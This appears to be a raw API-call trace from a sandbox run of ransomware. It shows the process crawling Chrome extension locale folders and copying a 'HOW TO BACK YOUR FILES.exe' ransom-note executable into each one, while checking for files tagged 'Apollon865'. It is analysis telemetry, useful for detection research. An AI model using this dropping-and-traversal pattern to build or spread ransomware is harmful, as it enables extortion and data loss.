	[0047.982] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ab9810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ab9810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.982] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.982] lstrlenW (lpString="messages.json") returned 13
	[0047.982] lstrlenW (lpString="Apollon865") returned 10
	[0047.982] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.982] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu"
	[0047.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9f00 | out: hHeap=0x580000) returned 1
	[0047.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0047.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu") returned 137
	[0047.982] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu"
	[0047.983] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.983] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.987] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.987] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ab9810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ab9810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.988] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.988] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.988] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.988] lstrlenW (lpString="messages.json") returned 13
	[0047.988] lstrlenW (lpString="Apollon865") returned 10
	[0047.988] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.988] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr"
	[0047.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9de0 | out: hHeap=0x580000) returned 1
	[0047.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0047.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr") returned 137
	[0047.988] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr"
	[0047.988] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.992] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34adf970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34adf970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.992] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.992] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.992] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.992] lstrlenW (lpString="messages.json") returned 13
	[0047.992] lstrlenW (lpString="Apollon865") returned 10
	[0047.993] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.993] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi"
	[0047.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9cc0 | out: hHeap=0x580000) returned 1
	[0047.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0047.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi") returned 137
	[0047.993] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi"
	[0047.993] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.993] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.997] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.997] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34adf970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34adf970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.997] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.997] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.997] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.997] lstrlenW (lpString="messages.json") returned 13
	[0047.997] lstrlenW (lpString="Apollon865") returned 10
	[0047.997] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.997] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr"
	[0047.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9ba0 | out: hHeap=0x580000) returned 1
	[0047.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0047.997] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr") returned 137
	[0047.997] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr"
	[0047.997] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.998] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.001] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.001] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34adf970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34adf970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.002] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.002] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.002] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.002] lstrlenW (lpString="messages.json") returned 13
	[0048.002] lstrlenW (lpString="Apollon865") returned 10
	[0048.002] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.002] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil"
	[0048.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9a80 | out: hHeap=0x580000) returned 1
	[0048.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0048.002] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil") returned 138
	[0048.002] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil"
	[0048.002] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.002] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.006] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b05ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b05ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.007] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.007] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.007] lstrcpyW (in: lpString1=0x2d3e666, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.007] lstrlenW (lpString="messages.json") returned 13
	[0048.007] lstrlenW (lpString="Apollon865") returned 10
	[0048.007] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.007] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi"
	[0048.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9960 | out: hHeap=0x580000) returned 1
	[0048.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0048.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi") returned 137
	[0048.007] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi"
	[0048.007] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.007] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.011] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.011] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b05ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b05ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.011] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.011] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.011] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.011] lstrlenW (lpString="messages.json") returned 13
	[0048.011] lstrlenW (lpString="Apollon865") returned 10
	[0048.011] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.011] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es"
	[0048.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9840 | out: hHeap=0x580000) returned 1
	[0048.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0048.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es") returned 137
	[0048.011] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es"
	[0048.012] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.012] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.015] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
